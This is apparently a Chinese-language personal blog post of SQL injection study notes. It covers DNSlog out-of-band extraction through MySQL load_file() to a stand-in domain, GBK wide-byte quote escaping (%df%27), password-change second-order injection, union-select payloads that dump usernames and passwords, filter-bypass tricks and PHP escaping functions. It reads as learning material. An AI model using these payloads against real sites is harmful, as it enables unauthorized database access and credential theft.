Isabellae

(¦3[▓▓]

SQLi(0x02)
/  

SQLi(0x02)

SQL注入之基于DNS的注入(DNSlog注入)

测试一些网站的时候,一些注入都是无回显的,我们可以写脚本来进行盲注,但有些网站会ban掉我们的ip,这样我们可以通过设置ip代理池解决,但是盲注往往效率很低,所以产生了DNSlog注入。

  • dns在递归查询时,会在dns服务器上保存log,所有经过dns服务器以及其子域名的查询都会在上面留下记录

  • load_file()不仅可以读取本地文件,也可以对\\example.com这样的url发起请求

1. show variables like ’%secure%’查看load_file()可以读取的磁盘。


secure_file_priv为空,就可以读取磁盘的目录。

  

secure_file_priv为D:\wamp\tmp,就可以读取G盘下wamp\tmp的文件。

  

secure_file_priv为null,load_file就不能加载文件。

  

2. 通过更改mysql配置文件my.ini,设置secure_file_priv=""就是可以load_flie任意磁盘的文件。

  • 我们可以使用dnslog平台或者自己搭建dns服务器,假设dnslog平台给你分配了一个三级级域名:abc.dns.com,如果查询三级域名xxx.abc.dns.com,就会在dns服务器中留下记录,我们可以将payload写在第四级域名的位置

  • 在mysql中执行select load_file(concat('\\\\',[payload],'.abc.dns.com\\\aaa'));(‘'会被转义,所以需要+上一个’'),payload的执行结果会被显示在第四级域名的位置,使用concat函数将(select database())得到的内容作为查询url的一部分,和我们的平台三级域名拼接组合成一个四级域名,而load_file函数会通过dns解析请求,所以我们在dnslog平台就可以看到查询的记录(包含着我们注入出的数据)

  • 对于表段,由于load_file()一次只能传输一条数据,所以查询的时候需要使用limit来一个一个的解析。

宽字节注入

宽字节注入是由于转编码而形成的,那具有转编码功能的函数也成了漏洞的成因。

UTF8

由于ASCII表示的字符只有128个,因此网络世界的规范是使用UNICODE编码,但是用ASCII表示的字符使用UNICODE并不高效。因此出现了中间格式字符集,被称为通用转换格式,及UTF(Universal Transformation Format)。

宽字节

GB2312、GBK、GB18030、BIG5、Shift_JIS等这些都是常说的宽字节,实际上只有两字节。宽字节带来的安全问题主要是吃ASCII字符(一字节)的现象。

GB2312是被GBK兼容的,它的高位范围是0xA1~0xF7,低位范围是0xA1~0xFE(0x5C不在该范围内),因此不能使用编码吃掉%5c。

其它的宽字符集也是一样的分析过程,要吃掉%5c,只需要低位中包含正常的0x5c就行了。

  • 宽字节注入与HTML页面编码是无关的

宽字节对转义字符的影响发生在character_set_client=gbk的情况,也就是说,如果客户端发送的数据字符集是gbk,则可能会吃掉转义字符\,从而导致转义失败。

GBK编码,它的编码范围是0x8140~0xFEFE(不包括xx7F),在遇到%df(ascii(223)) >ascii(128)时自动拼接%5c,因此吃掉‘\’,而%27、%20小于ascii(128)的字符就保留了。

%df%27,会把它看成一个汉字,但是%27会闭合前面的单引号

mysql用户自定义变量

  • 可以先在用户变量中保存值然后在以后引用它;这样可以将值从一个语句传递到另一个语句。用户变量与连接有关。也就是说,一个客户端定义的变量不能被其它客户端看到或使用。当客户端退出时,该客户端连接的所有变量将自动释放。

  • 用户变量的形式为@var_name,其中变量名var_name可以由当前字符集的文字数字字符、‘.’、‘_’和‘$’组成。 默认字符集是cp1252 (Latin1)。可以用mysqld的–default-character-set选项更改字符集。用户变量名对大小写不敏感。

设置用户变量的一个途径是执行SET语句

SET @var_name = expr [, @var_name = expr] ...

  • 对于SET,可以使用=:=作为分配符。分配给每个变量的expr可以为整数、实数、字符串或者NULL值。

  • 也可以用语句代替SET来为用户变量分配一个值。在这种情况下,分配符必须为:=而不能用=,因为在非SET语句中=被视为一个比较 操作符:

修改密码注入

账号为admin,注册一个账号为admin'#,修改这个账号的密码,即执行语句UPADATE users set  passwd='新密码' where username='admin#'' and passwd='密码',也就是执行了UPDATE users SET passwd="New_Pass" WHERE username =' admin'

约束条件

AND在计算次序中优先级更高

where 的条件为永真,得到的结果就是未加约束条件的。

where name=‘a’ or 1=1,无约束的查询。

这个1=1常用于应用程序根据用户选择项的不同拼凑where条件时用的。可以使用“where1=1”来连接后面的“AND”语句。

如果不用1=1的话,每加一个条件,都要判断前面有没有where 条件,如果没有就写where …,有就写and语句,因此此时用1=1可以简化了应用程序的复杂度。

  • union select 1,group_concat(username),group_concat(password) from users where 1 or '1' = '

  • union select 1,group_concat(username),group_concat(password) from users where '1' ='1等效于union select 1,2,3(替换掉where子句)

  • union 1,(select 1,group_concat(username) from users),3 and '1'='1

过滤

  • 过滤and和or

双写and和or:aandnd,oorr

or:||

and:&&,url编码:%26%26

盲注时候可以输入?id=and1?id=or1来测试是否过滤

  • 过滤#

url编码为:%23,双写为%2%233

  • %09 TAB键(水平)

%0a 新建一行(换行)

%0c 新的一页

%0d return功能

%0b TAB键(垂直)

%a0 空格

sql语句中空格的代替方法

  • 过滤空格

url编码为:%20,双写为%2%200

也可写作%a0

常见的绕过空格的就是多行注释


/*!50540select user()*/             mysql(独有)内联注释,!后面的数字是版本号,表示当数据库版本>=5.5.40时执行SQL语句(版本号五位)

/**/                                mysql多行注释

%09,%0a,%0b,%0c,%0d,%20,%a0         一些空白字符

1.1、2.3、1.                        浮点数形式

0e1、1e7                            科学计数法

+、-、!、@、~、{}、"、'、()、``      一些特殊字符

php函数

  • addslashes(string $str) : string

返回字符串,该字符串为了数据库查询语句等的需要在某些字符前加上了反斜线。这些字符是单引号(’)、双引号(")、反斜线(\)与 NUL(NULL 字符)。 

  • stripslashes(string $str) : string

返回一个去除转义反斜线后的字符串(' 转换为 ’ 等等)。双反斜线(\)被转换为单个反斜线(\)。 


$str = "Is your name O\'reilly?";

  

// 输出: Is your name O'reilly?

echo stripslashes($str);

-magic_quotes_gpc()

是判断解析用户提示的数据,如包括有:post、get、cookie过来的数据增加转义字符“\”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误。

1. 在magic_quotes_gpc = On的情况下,如果输入的数据有单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)等字符都会被加上反斜线。

2. 当magic_quotes_gpc=On的时候,函数get_magic_quotes_gpc()就会返回1

3. 当magic_quotes_gpc=Off的时候,函数get_magic_quotes_gpc()就会返回0

  • ctype_digit()

判断是不是数字,是数字就返回true,否则返回false

  • mysql_real_escape_string()

转义 SQL 语句中使用的字符串中的特殊字符

  • intval()

 整型转换

  • preg_replace 执行一个正则表达式的搜索和替换

  • preg_replace( mixed $pattern, mixed $replacement, mixed $subject[, int $limit = -1[, int &$count]] ) : mixed

    搜索subject中匹配pattern的部分,以replacement进行替换。 

pattern:要搜索的模式。可以使一个字符串或字符串数组。

replacement:用于替换的字符串或字符串数组。

subject:要进行搜索和替换的字符串或字符串数组。

limit:每个模式在每个subject上进行替换的最大次数。默认是 -1(无限)。 

count:如果指定,将会被填充为完成的替换次数。 

    preg_replace('/or/i',"", $id);          //strip out OR (non case sensitive)

    preg_replace('/and/i',"", $id);     //Strip out AND (non case sensitive)

    preg_replace('/[\/\*]/',"", $id);       //strip out /*

    preg_replace('/[--]/',"", $id);     //Strip out --

    preg_replace('/[#]/',"", $id);          //Strip out #

    preg_replace('/[\s]/',"", $id);     //Strip out spaces

    preg_replace('/[\/\\\\]/',"", $id);     //Strip out slashes

    i是忽略大小写,\s就是匹配任意空白字符,制表符啊,换行,空格等

#  空白字符(%)

SQLite3 0A 0D 0C 09 20

MySQL5 09 0A 0B 0C 0D A0 20

PosgresSQL 0A 0D 0C 09 20

Oracle 11g 00 0A 0D 0C 09 20

MSSQL 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20

评论